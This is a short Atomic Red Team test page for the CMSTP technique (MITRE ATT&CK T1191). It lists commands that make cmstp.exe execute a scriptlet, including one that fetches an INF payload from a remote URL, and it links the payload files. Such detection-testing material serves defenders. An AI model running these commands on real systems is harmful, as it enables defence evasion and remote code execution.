Files
atomic-red-team/Windows/Execution/CMSTP.md
T
Mo 045a13030b Update CMSTP.md
Should it also be "Local:"?
2018-04-25 18:37:19 +01:00

20 lines
483 B
Markdown

## CMSTP
MITRE ATT&CK Technique: [T1191](https://attack.mitre.org/wiki/Technique/T1191)
### Scriptlet execution
Local:
cmstp.exe /s CMSTP.inf
Remote:
cmstp.exe /ni /s https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.inf
## Test Script
[CMSTP.INF](https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.inf)
[CMSTP.SCT](https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.sct)